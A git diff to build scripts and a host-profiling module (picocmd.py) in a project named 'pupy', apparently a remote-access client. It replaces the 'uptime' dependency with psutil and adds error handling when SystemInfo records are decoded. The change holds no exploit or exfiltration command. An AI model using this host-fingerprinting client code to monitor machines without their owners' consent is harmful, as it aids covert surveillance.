diff --git a/client/sources-linux/buildenv.sh b/client/sources-linux/buildenv.sh
index d4d7fd35..73ddfa47 100755
--- a/client/sources-linux/buildenv.sh
+++ b/client/sources-linux/buildenv.sh
@@ -250,7 +250,7 @@ __EOF__
 python -OO -m pip install six packaging appdirs
 python -OO -m pip install \
        rpyc pycrypto pyaml rsa netaddr tinyec pyyaml ecdsa \
-       paramiko uptime pylzma pydbus python-ptrace psutil scandir \
+       paramiko pylzma pydbus python-ptrace psutil scandir \
        scapy colorama pyOpenSSL \
        --upgrade --no-binary :all:
 
@@ -472,7 +472,7 @@ make install
 python -OO -m pip install six packaging appdirs
 python -OO -m pip install \
        rpyc pycrypto pyaml rsa netaddr tinyec pyyaml ecdsa \
-       paramiko uptime pylzma pydbus python-ptrace psutil scandir \
+       paramiko pylzma pydbus python-ptrace psutil scandir \
        scapy colorama pyOpenSSL \
        --upgrade --no-binary :all:
 
diff --git a/client/sources/buildenv.sh b/client/sources/buildenv.sh
index 1ee985e5..680a115c 100755
--- a/client/sources/buildenv.sh
+++ b/client/sources/buildenv.sh
@@ -16,8 +16,8 @@ PYTHONVC="https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-
 # PYWIN32="http://downloads.sourceforge.net/project/pywin32/pywin32/Build%20220/pywin32-220.win32-py2.7.exe"
 # PYWIN64="http://downloads.sourceforge.net/project/pywin32/pywin32/Build%20220/pywin32-220.win-amd64-py2.7.exe"
 
-PACKAGES="rpyc pyaml rsa pefile image rsa netaddr win_inet_pton netaddr tinyec uptime pycrypto cryptography pypiwin32"
-PACKAGES="$PACKAGES asyncoro mss pyaudio scapy pyOpenSSL colorama pyuv"
+PACKAGES="rpyc pyaml rsa pefile image rsa netaddr win_inet_pton netaddr tinyec pycrypto cryptography pypiwin32"
+PACKAGES="$PACKAGES mss pyaudio scapy pyOpenSSL colorama pyuv"
 
 BUILDENV=${1:-`pwd`/buildenv}
 
diff --git a/pupy/network/lib/picocmd/picocmd.py b/pupy/network/lib/picocmd/picocmd.py
index 379b8a9a..d49c051b 100644
--- a/pupy/network/lib/picocmd/picocmd.py
+++ b/pupy/network/lib/picocmd/picocmd.py
@@ -10,11 +10,11 @@ import time
 import datetime
 import platform
 import uuid
-import uptime
 import urllib2
 import urlparse
 import StringIO
 import socket
+import psutil
 
 def from_bytes(bytes):
     return sum(ord(byte) * (256**i) for i, byte in enumerate(bytes))
@@ -199,7 +199,7 @@ class SystemInfo(Command):
         self.arch = arch or platform.machine()
         self.node = node or uuid.getnode()
         try:
-            self.boottime = boottime or uptime.boottime()
+            self.boottime = boottime or psutil.boot_time()
         except:
             self.boottime = datetime.datetime.fromtimestamp(0)
 
@@ -256,9 +256,25 @@ class SystemInfo(Command):
         archid = (block >> 1) & 7
         internet = bool(block & 1)
         node = from_bytes(node)
-        ip, boottime = struct.unpack('>II', rest)
-        boottime = datetime.datetime.fromtimestamp(boottime)
-        ip = netaddr.IPAddress(ip)
+
+        ip = 0
+        boottime = 0
+
+        try:
+            ip, boottime = struct.unpack('>II', rest)
+
+            try:
+                boottime = datetime.datetime.fromtimestamp(boottime)
+            except:
+                pass
+
+            try:
+                ip = netaddr.IPAddress(ip)
+            except:
+                pass
+
+        except:
+            pass
 
         return SystemInfo(
             system=SystemInfo.well_known_os_names_decode[osid],